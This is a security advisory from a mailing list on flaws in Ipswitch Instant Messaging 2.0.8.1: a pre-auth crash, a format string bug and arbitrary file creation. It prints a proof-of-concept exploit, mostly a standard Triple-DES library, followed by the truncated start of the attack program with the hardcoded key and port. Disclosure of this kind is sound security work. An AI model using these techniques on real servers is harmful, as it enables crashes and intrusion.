[NT] Ipswitch Instant Messaging Multiple Vulnerabilities
- From: SecuriTeam <support@xxxxxxxxxxxxxx>
- Date: 10 Feb 2008 21:44:42 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Ipswitch Instant Messaging Multiple Vulnerabilities
------------------------------------------------------------------------
SUMMARY
<http://www.ipswitch.com/products/instant_messaging> Ipswitch Instant
Messaging (IM) is "a client/server messaging software". Multiple
vulnerabilities have been discovered in Ipswitch's Instant Messaging
product.
DETAILS
Vulnerable Systems:
* Ipswitch Instant Messaging version 2.0.8.1
Pre-auth NULL pointer crash in decryption function
IM uses the 3DES encryption with a fixed key ("ipswitch") for encrypting
the network traffic and the only data which is in clear-text are the first
8 bytes exchanged at the beginning of each connection which are the
version number of the program. If an attacker uses a version number equal
to zero (no encryption?) will be able to crash the server due to the
access to a NULL pointer during the decryption of the incoming data.
Note that this bug affects both the server and client application so an
attacker can easily crash all the clients in the LAN sending the malformed
data to the port 5178 of each host since this is the default port on which
they listen.
Format string in logging
The logging function used by IM is affected by a format string
vulnerability. The way Luigi has found to exploit this vulnerability is
through a message sent to an user who has a malformed client IP string. So
is possible to do this using two accounts (in his tests sending a message
to himself doesn't seem to work for this bug) or in many other ways like
sending a message to another user which when will reply will also exploit
the vulnerability.
When the server will try to connect to the IP specified by the target
client it will fail since it's not a valid IP (255.255.255.255
INADDR_NONE) and will create an error message similar to the following
subsequently passed directly to sprintf without the needed format
argument:
"Queuing message for username@host. Unexpected Error = 10049, Failed to
connect to client_IP. on port client_port.."
Arbitrary empty files creation
IM creates index files for storing pointers to the entries of its database
in which are stored the messages of the users.
The problem here is that these index files are created in append mode
using the name of the target of the message plus the "@hostname.idx"
suffix (like username@xxxxxxxxxx) without checking if the file has been
created outside the Logs folder.
Actually the only way Luigi has found to writing files with arbitrary
names is through the char ':' appended at the end of the target username
which allows to drop the additional suffix added by the program.
Anyway, although interesting, this bug can't be defined a real
vulnerability since it's possible to create new files anywhere in the disk
where is installed IM but is not possible to overwrite or append garbage
data (the index data mentioned before) to the existent ones.
Exploit:
des.c
/*
* FIPS-46-3 compliant Triple-DES implementation
*
* Copyright (C) 2006-2007 Christophe Devine
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License, version 2.1 as published by the Free Software Foundation.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
* MA 02110-1301 USA
*/
/*
* DES, on which TDES is based, was originally designed by Hans Feistel
* at IBM in 1974, and was adopted as a standard by NIST (formerly NBS).
*
* http://csrc.nist.gov/publications/fips/fips46-3/fips46-3.pdf
*/
//#include "xyssl/config.h"
//#if defined(XYSSL_DES_C)
#include "des.h"
#include <string.h>
/*
* 32-bit integer manipulation macros (big endian)
*/
#ifndef GET_ULONG_BE
#define GET_ULONG_BE(n,b,i) \
{ \
(n) = ( (unsigned long) (b)[(i) ] << 24 ) \
| ( (unsigned long) (b)[(i) + 1] << 16 ) \
| ( (unsigned long) (b)[(i) + 2] << 8 ) \
| ( (unsigned long) (b)[(i) + 3] ); \
}
#endif
#ifndef PUT_ULONG_BE
#define PUT_ULONG_BE(n,b,i) \
{ \
(b)[(i) ] = (unsigned char) ( (n) >> 24 ); \
(b)[(i) + 1] = (unsigned char) ( (n) >> 16 ); \
(b)[(i) + 2] = (unsigned char) ( (n) >> 8 ); \
(b)[(i) + 3] = (unsigned char) ( (n) ); \
}
#endif
/*
* Expanded DES S-boxes
*/
static const unsigned long SB1[64] =
{
0x01010400, 0x00000000, 0x00010000, 0x01010404,
0x01010004, 0x00010404, 0x00000004, 0x00010000,
0x00000400, 0x01010400, 0x01010404, 0x00000400,
0x01000404, 0x01010004, 0x01000000, 0x00000004,
0x00000404, 0x01000400, 0x01000400, 0x00010400,
0x00010400, 0x01010000, 0x01010000, 0x01000404,
0x00010004, 0x01000004, 0x01000004, 0x00010004,
0x00000000, 0x00000404, 0x00010404, 0x01000000,
0x00010000, 0x01010404, 0x00000004, 0x01010000,
0x01010400, 0x01000000, 0x01000000, 0x00000400,
0x01010004, 0x00010000, 0x00010400, 0x01000004,
0x00000400, 0x00000004, 0x01000404, 0x00010404,
0x01010404, 0x00010004, 0x01010000, 0x01000404,
0x01000004, 0x00000404, 0x00010404, 0x01010400,
0x00000404, 0x01000400, 0x01000400, 0x00000000,
0x00010004, 0x00010400, 0x00000000, 0x01010004
};
static const unsigned long SB2[64] =
{
0x80108020, 0x80008000, 0x00008000, 0x00108020,
0x00100000, 0x00000020, 0x80100020, 0x80008020,
0x80000020, 0x80108020, 0x80108000, 0x80000000,
0x80008000, 0x00100000, 0x00000020, 0x80100020,
0x00108000, 0x00100020, 0x80008020, 0x00000000,
0x80000000, 0x00008000, 0x00108020, 0x80100000,
0x00100020, 0x80000020, 0x00000000, 0x00108000,
0x00008020, 0x80108000, 0x80100000, 0x00008020,
0x00000000, 0x00108020, 0x80100020, 0x00100000,
0x80008020, 0x80100000, 0x80108000, 0x00008000,
0x80100000, 0x80008000, 0x00000020, 0x80108020,
0x00108020, 0x00000020, 0x00008000, 0x80000000,
0x00008020, 0x80108000, 0x00100000, 0x80000020,
0x00100020, 0x80008020, 0x80000020, 0x00100020,
0x00108000, 0x00000000, 0x80008000, 0x00008020,
0x80000000, 0x80100020, 0x80108020, 0x00108000
};
static const unsigned long SB3[64] =
{
0x00000208, 0x08020200, 0x00000000, 0x08020008,
0x08000200, 0x00000000, 0x00020208, 0x08000200,
0x00020008, 0x08000008, 0x08000008, 0x00020000,
0x08020208, 0x00020008, 0x08020000, 0x00000208,
0x08000000, 0x00000008, 0x08020200, 0x00000200,
0x00020200, 0x08020000, 0x08020008, 0x00020208,
0x08000208, 0x00020200, 0x00020000, 0x08000208,
0x00000008, 0x08020208, 0x00000200, 0x08000000,
0x08020200, 0x08000000, 0x00020008, 0x00000208,
0x00020000, 0x08020200, 0x08000200, 0x00000000,
0x00000200, 0x00020008, 0x08020208, 0x08000200,
0x08000008, 0x00000200, 0x00000000, 0x08020008,
0x08000208, 0x00020000, 0x08000000, 0x08020208,
0x00000008, 0x00020208, 0x00020200, 0x08000008,
0x08020000, 0x08000208, 0x00000208, 0x08020000,
0x00020208, 0x00000008, 0x08020008, 0x00020200
};
static const unsigned long SB4[64] =
{
0x00802001, 0x00002081, 0x00002081, 0x00000080,
0x00802080, 0x00800081, 0x00800001, 0x00002001,
0x00000000, 0x00802000, 0x00802000, 0x00802081,
0x00000081, 0x00000000, 0x00800080, 0x00800001,
0x00000001, 0x00002000, 0x00800000, 0x00802001,
0x00000080, 0x00800000, 0x00002001, 0x00002080,
0x00800081, 0x00000001, 0x00002080, 0x00800080,
0x00002000, 0x00802080, 0x00802081, 0x00000081,
0x00800080, 0x00800001, 0x00802000, 0x00802081,
0x00000081, 0x00000000, 0x00000000, 0x00802000,
0x00002080, 0x00800080, 0x00800081, 0x00000001,
0x00802001, 0x00002081, 0x00002081, 0x00000080,
0x00802081, 0x00000081, 0x00000001, 0x00002000,
0x00800001, 0x00002001, 0x00802080, 0x00800081,
0x00002001, 0x00002080, 0x00800000, 0x00802001,
0x00000080, 0x00800000, 0x00002000, 0x00802080
};
static const unsigned long SB5[64] =
{
0x00000100, 0x02080100, 0x02080000, 0x42000100,
0x00080000, 0x00000100, 0x40000000, 0x02080000,
0x40080100, 0x00080000, 0x02000100, 0x40080100,
0x42000100, 0x42080000, 0x00080100, 0x40000000,
0x02000000, 0x40080000, 0x40080000, 0x00000000,
0x40000100, 0x42080100, 0x42080100, 0x02000100,
0x42080000, 0x40000100, 0x00000000, 0x42000000,
0x02080100, 0x02000000, 0x42000000, 0x00080100,
0x00080000, 0x42000100, 0x00000100, 0x02000000,
0x40000000, 0x02080000, 0x42000100, 0x40080100,
0x02000100, 0x40000000, 0x42080000, 0x02080100,
0x40080100, 0x00000100, 0x02000000, 0x42080000,
0x42080100, 0x00080100, 0x42000000, 0x42080100,
0x02080000, 0x00000000, 0x40080000, 0x42000000,
0x00080100, 0x02000100, 0x40000100, 0x00080000,
0x00000000, 0x40080000, 0x02080100, 0x40000100
};
static const unsigned long SB6[64] =
{
0x20000010, 0x20400000, 0x00004000, 0x20404010,
0x20400000, 0x00000010, 0x20404010, 0x00400000,
0x20004000, 0x00404010, 0x00400000, 0x20000010,
0x00400010, 0x20004000, 0x20000000, 0x00004010,
0x00000000, 0x00400010, 0x20004010, 0x00004000,
0x00404000, 0x20004010, 0x00000010, 0x20400010,
0x20400010, 0x00000000, 0x00404010, 0x20404000,
0x00004010, 0x00404000, 0x20404000, 0x20000000,
0x20004000, 0x00000010, 0x20400010, 0x00404000,
0x20404010, 0x00400000, 0x00004010, 0x20000010,
0x00400000, 0x20004000, 0x20000000, 0x00004010,
0x20000010, 0x20404010, 0x00404000, 0x20400000,
0x00404010, 0x20404000, 0x00000000, 0x20400010,
0x00000010, 0x00004000, 0x20400000, 0x00404010,
0x00004000, 0x00400010, 0x20004010, 0x00000000,
0x20404000, 0x20000000, 0x00400010, 0x20004010
};
static const unsigned long SB7[64] =
{
0x00200000, 0x04200002, 0x04000802, 0x00000000,
0x00000800, 0x04000802, 0x00200802, 0x04200800,
0x04200802, 0x00200000, 0x00000000, 0x04000002,
0x00000002, 0x04000000, 0x04200002, 0x00000802,
0x04000800, 0x00200802, 0x00200002, 0x04000800,
0x04000002, 0x04200000, 0x04200800, 0x00200002,
0x04200000, 0x00000800, 0x00000802, 0x04200802,
0x00200800, 0x00000002, 0x04000000, 0x00200800,
0x04000000, 0x00200800, 0x00200000, 0x04000802,
0x04000802, 0x04200002, 0x04200002, 0x00000002,
0x00200002, 0x04000000, 0x04000800, 0x00200000,
0x04200800, 0x00000802, 0x00200802, 0x04200800,
0x00000802, 0x04000002, 0x04200802, 0x04200000,
0x00200800, 0x00000000, 0x00000002, 0x04200802,
0x00000000, 0x00200802, 0x04200000, 0x00000800,
0x04000002, 0x04000800, 0x00000800, 0x00200002
};
static const unsigned long SB8[64] =
{
0x10001040, 0x00001000, 0x00040000, 0x10041040,
0x10000000, 0x10001040, 0x00000040, 0x10000000,
0x00040040, 0x10040000, 0x10041040, 0x00041000,
0x10041000, 0x00041040, 0x00001000, 0x00000040,
0x10040000, 0x10000040, 0x10001000, 0x00001040,
0x00041000, 0x00040040, 0x10040040, 0x10041000,
0x00001040, 0x00000000, 0x00000000, 0x10040040,
0x10000040, 0x10001000, 0x00041040, 0x00040000,
0x00041040, 0x00040000, 0x10041000, 0x00001000,
0x00000040, 0x10040040, 0x00001000, 0x00041040,
0x10001000, 0x00000040, 0x10000040, 0x10040000,
0x10040040, 0x10000000, 0x00040000, 0x10001040,
0x00000000, 0x10041040, 0x00040040, 0x10000040,
0x10040000, 0x10001000, 0x10001040, 0x00000000,
0x10041040, 0x00041000, 0x00041000, 0x00001040,
0x00001040, 0x00040040, 0x10000000, 0x10041000
};
/*
* PC1: left and right halves bit-swap
*/
static const unsigned long LHs[16] =
{
0x00000000, 0x00000001, 0x00000100, 0x00000101,
0x00010000, 0x00010001, 0x00010100, 0x00010101,
0x01000000, 0x01000001, 0x01000100, 0x01000101,
0x01010000, 0x01010001, 0x01010100, 0x01010101
};
static const unsigned long RHs[16] =
{
0x00000000, 0x01000000, 0x00010000, 0x01010000,
0x00000100, 0x01000100, 0x00010100, 0x01010100,
0x00000001, 0x01000001, 0x00010001, 0x01010001,
0x00000101, 0x01000101, 0x00010101, 0x01010101,
};
/*
* Initial Permutation macro
*/
#define DES_IP(X,Y) \
{ \
T = ((X >> 4) ^ Y) & 0x0F0F0F0F; Y ^= T; X ^= (T << 4); \
T = ((X >> 16) ^ Y) & 0x0000FFFF; Y ^= T; X ^= (T << 16); \
T = ((Y >> 2) ^ X) & 0x33333333; X ^= T; Y ^= (T << 2); \
T = ((Y >> 8) ^ X) & 0x00FF00FF; X ^= T; Y ^= (T << 8); \
Y = ((Y << 1) | (Y >> 31)) & 0xFFFFFFFF; \
T = (X ^ Y) & 0xAAAAAAAA; Y ^= T; X ^= T; \
X = ((X << 1) | (X >> 31)) & 0xFFFFFFFF; \
}
/*
* Final Permutation macro
*/
#define DES_FP(X,Y) \
{ \
X = ((X << 31) | (X >> 1)) & 0xFFFFFFFF; \
T = (X ^ Y) & 0xAAAAAAAA; X ^= T; Y ^= T; \
Y = ((Y << 31) | (Y >> 1)) & 0xFFFFFFFF; \
T = ((Y >> 8) ^ X) & 0x00FF00FF; X ^= T; Y ^= (T << 8); \
T = ((Y >> 2) ^ X) & 0x33333333; X ^= T; Y ^= (T << 2); \
T = ((X >> 16) ^ Y) & 0x0000FFFF; Y ^= T; X ^= (T << 16); \
T = ((X >> 4) ^ Y) & 0x0F0F0F0F; Y ^= T; X ^= (T << 4); \
}
/*
* DES round macro
*/
#define DES_ROUND(X,Y) \
{ \
T = *SK++ ^ X; \
Y ^= SB8[ (T ) & 0x3F ] ^ \
SB6[ (T >> 8) & 0x3F ] ^ \
SB4[ (T >> 16) & 0x3F ] ^ \
SB2[ (T >> 24) & 0x3F ]; \
\
T = *SK++ ^ ((X << 28) | (X >> 4)); \
Y ^= SB7[ (T ) & 0x3F ] ^ \
SB5[ (T >> 8) & 0x3F ] ^ \
SB3[ (T >> 16) & 0x3F ] ^ \
SB1[ (T >> 24) & 0x3F ]; \
}
#define SWAP(a,b) { unsigned long t = a; a = b; b = t; t = 0; }
static void des_setkey( unsigned long SK[32], unsigned char key[8] )
{
int i;
unsigned long X, Y, T;
GET_ULONG_BE( X, key, 0 );
GET_ULONG_BE( Y, key, 4 );
/*
* Permuted Choice 1
*/
T = ((Y >> 4) ^ X) & 0x0F0F0F0F; X ^= T; Y ^= (T << 4);
T = ((Y ) ^ X) & 0x10101010; X ^= T; Y ^= (T );
X = (LHs[ (X ) & 0xF] << 3) | (LHs[ (X >> 8) & 0xF ] << 2)
| (LHs[ (X >> 16) & 0xF] << 1) | (LHs[ (X >> 24) & 0xF ] )
| (LHs[ (X >> 5) & 0xF] << 7) | (LHs[ (X >> 13) & 0xF ] << 6)
| (LHs[ (X >> 21) & 0xF] << 5) | (LHs[ (X >> 29) & 0xF ] << 4);
Y = (RHs[ (Y >> 1) & 0xF] << 3) | (RHs[ (Y >> 9) & 0xF ] << 2)
| (RHs[ (Y >> 17) & 0xF] << 1) | (RHs[ (Y >> 25) & 0xF ] )
| (RHs[ (Y >> 4) & 0xF] << 7) | (RHs[ (Y >> 12) & 0xF ] << 6)
| (RHs[ (Y >> 20) & 0xF] << 5) | (RHs[ (Y >> 28) & 0xF ] << 4);
X &= 0x0FFFFFFF;
Y &= 0x0FFFFFFF;
/*
* calculate subkeys
*/
for( i = 0; i < 16; i++ )
{
if( i < 2 || i == 8 || i == 15 )
{
X = ((X << 1) | (X >> 27)) & 0x0FFFFFFF;
Y = ((Y << 1) | (Y >> 27)) & 0x0FFFFFFF;
}
else
{
X = ((X << 2) | (X >> 26)) & 0x0FFFFFFF;
Y = ((Y << 2) | (Y >> 26)) & 0x0FFFFFFF;
}
*SK++ = ((X << 4) & 0x24000000) | ((X << 28) & 0x10000000)
| ((X << 14) & 0x08000000) | ((X << 18) & 0x02080000)
| ((X << 6) & 0x01000000) | ((X << 9) & 0x00200000)
| ((X >> 1) & 0x00100000) | ((X << 10) & 0x00040000)
| ((X << 2) & 0x00020000) | ((X >> 10) & 0x00010000)
| ((Y >> 13) & 0x00002000) | ((Y >> 4) & 0x00001000)
| ((Y << 6) & 0x00000800) | ((Y >> 1) & 0x00000400)
| ((Y >> 14) & 0x00000200) | ((Y ) & 0x00000100)
| ((Y >> 5) & 0x00000020) | ((Y >> 10) & 0x00000010)
| ((Y >> 3) & 0x00000008) | ((Y >> 18) & 0x00000004)
| ((Y >> 26) & 0x00000002) | ((Y >> 24) & 0x00000001);
*SK++ = ((X << 15) & 0x20000000) | ((X << 17) & 0x10000000)
| ((X << 10) & 0x08000000) | ((X << 22) & 0x04000000)
| ((X >> 2) & 0x02000000) | ((X << 1) & 0x01000000)
| ((X << 16) & 0x00200000) | ((X << 11) & 0x00100000)
| ((X << 3) & 0x00080000) | ((X >> 6) & 0x00040000)
| ((X << 15) & 0x00020000) | ((X >> 4) & 0x00010000)
| ((Y >> 2) & 0x00002000) | ((Y << 8) & 0x00001000)
| ((Y >> 14) & 0x00000808) | ((Y >> 9) & 0x00000400)
| ((Y ) & 0x00000200) | ((Y << 7) & 0x00000100)
| ((Y >> 7) & 0x00000020) | ((Y >> 3) & 0x00000011)
| ((Y << 2) & 0x00000004) | ((Y >> 21) & 0x00000002);
}
}
/*
* DES key schedule (56-bit, encryption)
*/
void des_setkey_enc( des_context *ctx, unsigned char key[8] )
{
des_setkey( ctx->sk, key );
}
/*
* DES key schedule (56-bit, decryption)
*/
void des_setkey_dec( des_context *ctx, unsigned char key[8] )
{
int i;
des_setkey( ctx->sk, key );
for( i = 0; i < 16; i += 2 )
{
SWAP( ctx->sk[i ], ctx->sk[30 - i] );
SWAP( ctx->sk[i + 1], ctx->sk[31 - i] );
}
}
static void des3_set2key( unsigned long esk[96],
unsigned long dsk[96],
unsigned char key[16] )
{
int i;
des_setkey( esk, key );
des_setkey( dsk + 32, key + 8 );
for( i = 0; i < 32; i += 2 )
{
dsk[i ] = esk[30 - i];
dsk[i + 1] = esk[31 - i];
esk[i + 32] = dsk[62 - i];
esk[i + 33] = dsk[63 - i];
esk[i + 64] = esk[i ];
esk[i + 65] = esk[i + 1];
dsk[i + 64] = dsk[i ];
dsk[i + 65] = dsk[i + 1];
}
}
/*
* Triple-DES key schedule (112-bit, encryption)
*/
void des3_set2key_enc( des3_context *ctx, unsigned char key[16] )
{
unsigned long sk[96];
des3_set2key( ctx->sk, sk, key );
memset( sk, 0, sizeof( sk ) );
}
/*
* Triple-DES key schedule (112-bit, decryption)
*/
void des3_set2key_dec( des3_context *ctx, unsigned char key[16] )
{
unsigned long sk[96];
des3_set2key( sk, ctx->sk, key );
memset( sk, 0, sizeof( sk ) );
}
static void des3_set3key( unsigned long esk[96],
unsigned long dsk[96],
unsigned char key[24] )
{
int i;
des_setkey( esk, key );
des_setkey( dsk + 32, key + 8 );
des_setkey( esk + 64, key + 16 );
for( i = 0; i < 32; i += 2 )
{
dsk[i ] = esk[94 - i];
dsk[i + 1] = esk[95 - i];
esk[i + 32] = dsk[62 - i];
esk[i + 33] = dsk[63 - i];
dsk[i + 64] = esk[30 - i];
dsk[i + 65] = esk[31 - i];
}
}
/*
* Triple-DES key schedule (168-bit, encryption)
*/
void des3_set3key_enc( des3_context *ctx, unsigned char key[24] )
{
unsigned long sk[96];
des3_set3key( ctx->sk, sk, key );
memset( sk, 0, sizeof( sk ) );
}
/*
* Triple-DES key schedule (168-bit, decryption)
*/
void des3_set3key_dec( des3_context *ctx, unsigned char key[24] )
{
unsigned long sk[96];
des3_set3key( sk, ctx->sk, key );
memset( sk, 0, sizeof( sk ) );
}
/*
* DES-ECB block encryption/decryption
*/
void des_crypt_ecb( des_context *ctx,
unsigned char input[8],
unsigned char output[8] )
{
int i;
unsigned long X, Y, T, *SK;
SK = ctx->sk;
GET_ULONG_BE( X, input, 0 );
GET_ULONG_BE( Y, input, 4 );
DES_IP( X, Y );
for( i = 0; i < 8; i++ )
{
DES_ROUND( Y, X );
DES_ROUND( X, Y );
}
DES_FP( Y, X );
PUT_ULONG_BE( Y, output, 0 );
PUT_ULONG_BE( X, output, 4 );
}
/*
* DES-CBC buffer encryption/decryption
*/
void des_crypt_cbc( des_context *ctx,
int mode,
int length,
unsigned char iv[8],
unsigned char *input,
unsigned char *output )
{
int i;
unsigned char temp[8];
if( mode == DES_ENCRYPT )
{
while( length > 0 )
{
for( i = 0; i < 8; i++ )
output[i] = (unsigned char)( input[i] ^ iv[i] );
des_crypt_ecb( ctx, output, output );
memcpy( iv, output, 8 );
input += 8;
output += 8;
length -= 8;
}
}
else /* DES_DECRYPT */
{
while( length > 0 )
{
memcpy( temp, input, 8 );
des_crypt_ecb( ctx, input, output );
for( i = 0; i < 8; i++ )
output[i] = (unsigned char)( output[i] ^ iv[i] );
memcpy( iv, temp, 8 );
input += 8;
output += 8;
length -= 8;
}
}
}
/*
* 3DES-ECB block encryption/decryption
*/
void des3_crypt_ecb( des3_context *ctx,
unsigned char input[8],
unsigned char output[8] )
{
int i;
unsigned long X, Y, T, *SK;
SK = ctx->sk;
GET_ULONG_BE( X, input, 0 );
GET_ULONG_BE( Y, input, 4 );
DES_IP( X, Y );
for( i = 0; i < 8; i++ )
{
DES_ROUND( Y, X );
DES_ROUND( X, Y );
}
for( i = 0; i < 8; i++ )
{
DES_ROUND( X, Y );
DES_ROUND( Y, X );
}
for( i = 0; i < 8; i++ )
{
DES_ROUND( Y, X );
DES_ROUND( X, Y );
}
DES_FP( Y, X );
PUT_ULONG_BE( Y, output, 0 );
PUT_ULONG_BE( X, output, 4 );
}
/*
* 3DES-CBC buffer encryption/decryption
*/
void des3_crypt_cbc( des3_context *ctx,
int mode,
int length,
unsigned char iv[8],
unsigned char *input,
unsigned char *output )
{
int i;
unsigned char temp[8];
if( mode == DES_ENCRYPT )
{
while( length > 0 )
{
for( i = 0; i < 8; i++ )
output[i] = (unsigned char)( input[i] ^ iv[i] );
des3_crypt_ecb( ctx, output, output );
memcpy( iv, output, 8 );
input += 8;
output += 8;
length -= 8;
}
}
else /* DES_DECRYPT */
{
while( length > 0 )
{
memcpy( temp, input, 8 );
des3_crypt_ecb( ctx, input, output );
for( i = 0; i < 8; i++ )
output[i] = (unsigned char)( output[i] ^ iv[i] );
memcpy( iv, temp, 8 );
input += 8;
output += 8;
length -= 8;
}
}
}
#if defined(XYSSL_SELF_TEST)
#include <stdio.h>
/*
* DES/3DES test vectors (source: NIST, tripledes-vectors.zip)
*/
static const unsigned char DES3_keys[24] =
{
0x01, 0x23, 0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF,
0x23, 0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF, 0x01,
0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF, 0x01, 0x23
};
static const unsigned char DES3_init[8] =
{
0x4E, 0x6F, 0x77, 0x20, 0x69, 0x73, 0x20, 0x74
};
static const unsigned char DES3_enc_test[3][8] =
{
{ 0x6A, 0x2A, 0x19, 0xF4, 0x1E, 0xCA, 0x85, 0x4B },
{ 0x03, 0xE6, 0x9F, 0x5B, 0xFA, 0x58, 0xEB, 0x42 },
{ 0xDD, 0x17, 0xE8, 0xB8, 0xB4, 0x37, 0xD2, 0x32 }
};
static const unsigned char DES3_dec_test[3][8] =
{
{ 0xCD, 0xD6, 0x4F, 0x2F, 0x94, 0x27, 0xC1, 0x5D },
{ 0x69, 0x96, 0xC8, 0xFA, 0x47, 0xA2, 0xAB, 0xEB },
{ 0x83, 0x25, 0x39, 0x76, 0x44, 0x09, 0x1A, 0x0A }
};
/*
* Checkup routine
*/
int des_self_test( int verbose )
{
int i, j, u, v;
des_context ctx;
des3_context ctx3;
unsigned char buf[8];
for( i = 0; i < 6; i++ )
{
u = i >> 1;
v = i & 1;
if( verbose != 0 )
printf( " DES%c-ECB-%3d (%s): ",
( u == 0 ) ? ' ' : '3', 56 + u * 56,
( v == 0 ) ? "enc" : "dec" );
memcpy( buf, DES3_init, 8 );
switch( u )
{
case 0:
if( v == 0 )
des_setkey_enc( &ctx, (unsigned char *) DES3_keys );
if( v == 1 )
des_setkey_dec( &ctx, (unsigned char *) DES3_keys );
break;
case 1:
if( v == 0 )
des3_set2key_enc( &ctx3, (unsigned char *) DES3_keys );
if( v == 1 )
des3_set2key_dec( &ctx3, (unsigned char *) DES3_keys );
break;
default:
if( v == 0 )
des3_set3key_enc( &ctx3, (unsigned char *) DES3_keys );
if( v == 1 )
des3_set3key_dec( &ctx3, (unsigned char *) DES3_keys );
break;
}
for( j = 0; j < 10000; j++ )
{
if( u == 0 )
des_crypt_ecb( &ctx, buf, buf );
else
des3_crypt_ecb( &ctx3, buf, buf );
}
if( ( v == 0 && memcmp( buf, DES3_enc_test[u], 8 ) != 0 ) ||
( v == 1 && memcmp( buf, DES3_dec_test[u], 8 ) != 0 ) )
{
if( verbose != 0 )
printf( "failed\n" );
return( 1 );
}
if( verbose != 0 )
printf( "passed\n" );
}
if( verbose != 0 )
printf( "\n" );
return( 0 );
}
#endif
//#endif
des.h
/**
* \file des.h
*/
#ifndef XYSSL_DES_H
#define XYSSL_DES_H
#define DES_ENCRYPT 0
#define DES_DECRYPT 1
/**
* \brief DES context structure
*/
typedef struct
{
int mode; /*!< encrypt/decrypt */
unsigned long sk[32]; /*!< DES subkeys */
}
des_context;
/**
* \brief Triple-DES context structure
*/
typedef struct
{
int mode; /*!< encrypt/decrypt */
unsigned long sk[96]; /*!< 3DES subkeys */
}
des3_context;
#ifdef __cplusplus
extern "C" {
#endif
/**
* \brief DES key schedule (56-bit, encryption)
*
* \param ctx DES context to be initialized
* \param key 8-byte secret key
*/
void des_setkey_enc( des_context *ctx, unsigned char key[8] );
/**
* \brief DES key schedule (56-bit, decryption)
*
* \param ctx DES context to be initialized
* \param key 8-byte secret key
*/
void des_setkey_dec( des_context *ctx, unsigned char key[8] );
/**
* \brief Triple-DES key schedule (112-bit, encryption)
*
* \param ctx 3DES context to be initialized
* \param key 16-byte secret key
*/
void des3_set2key_enc( des3_context *ctx, unsigned char key[16] );
/**
* \brief Triple-DES key schedule (112-bit, decryption)
*
* \param ctx 3DES context to be initialized
* \param key 16-byte secret key
*/
void des3_set2key_dec( des3_context *ctx, unsigned char key[16] );
/**
* \brief Triple-DES key schedule (168-bit, encryption)
*
* \param ctx 3DES context to be initialized
* \param key 24-byte secret key
*/
void des3_set3key_enc( des3_context *ctx, unsigned char key[24] );
/**
* \brief Triple-DES key schedule (168-bit, decryption)
*
* \param ctx 3DES context to be initialized
* \param key 24-byte secret key
*/
void des3_set3key_dec( des3_context *ctx, unsigned char key[24] );
/**
* \brief DES-ECB block encryption/decryption
*
* \param ctx DES context
* \param input 64-bit input block
* \param output 64-bit output block
*/
void des_crypt_ecb( des_context *ctx,
unsigned char input[8],
unsigned char output[8] );
/**
* \brief DES-CBC buffer encryption/decryption
*
* \param ctx DES context
* \param mode DES_ENCRYPT or DES_DECRYPT
* \param length length of the input data
* \param iv initialization vector (updated after use)
* \param input buffer holding the input data
* \param output buffer holding the output data
*/
void des_crypt_cbc( des_context *ctx,
int mode,
int length,
unsigned char iv[8],
unsigned char *input,
unsigned char *output );
/**
* \brief 3DES-ECB block encryption/decryption
*
* \param ctx 3DES context
* \param input 64-bit input block
* \param output 64-bit output block
*/
void des3_crypt_ecb( des3_context *ctx,
unsigned char input[8],
unsigned char output[8] );
/**
* \brief 3DES-CBC buffer encryption/decryption
*
* \param ctx 3DES context
* \param mode DES_ENCRYPT or DES_DECRYPT
* \param length length of the input data
* \param iv initialization vector (updated after use)
* \param input buffer holding the input data
* \param output buffer holding the output data
*/
void des3_crypt_cbc( des3_context *ctx,
int mode,
int length,
unsigned char iv[8],
unsigned char *input,
unsigned char *output );
/*
* \brief Checkup routine
*
* \return 0 if successful, or 1 if the test failed
*/
int des_self_test( int verbose );
#ifdef __cplusplus
}
#endif
#endif /* des.h */
ipsimene.c:
/*
Copyright 2008 Luigi Auriemma - http://aluigi.org/poc/ipsimene.zip
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
USA
http://www.gnu.org/licenses/gpl.txt
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <time.h>
#include "des.h"
#include "show_dump.h"
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#define sleep Sleep
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#define ONESEC 1
#endif
typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;
#define VER "0.1"
#define PORT 5177
#define BUFFSZ 0xffff
#define IPIM_DESKEY "ipswitch\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
#define padxx(X,Y) p += putxx(p, X, Y); p += padda(p, p - buff);
int conna(struct sockaddr_in *peer);
int lame_im_recv(int sd, des3_context *ctx, u8 *buff);
int fgetz(u8 *data, int size, FILE *fd);
void desuca(des3_context *ctx, u8 *data, int len);
int tcp_recv(int sd, u8 *buff, int len);
int padda(u8 *data, int pos);
int putsn(u8 *data, u8 *str);
int putsp(u8 *data, u8 *str);
int getxx(u8 *data, u32 *ret, int bits);
int putxx(u8 *data, u32 num, int bits);
int timeout(int sock, int secs);
u32 resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
des3_context cli,
srv;
struct sockaddr_in peer;
int sd,
i,
len,
myid,
attack;
u16 port = PORT,
myport = PORT + 1;
u8 username[128],
password[128],
recipient[128],
myhost[128],
*message = "hello",
*userhost = NULL,
*buff,
*host,
*p;
#ifdef WIN32
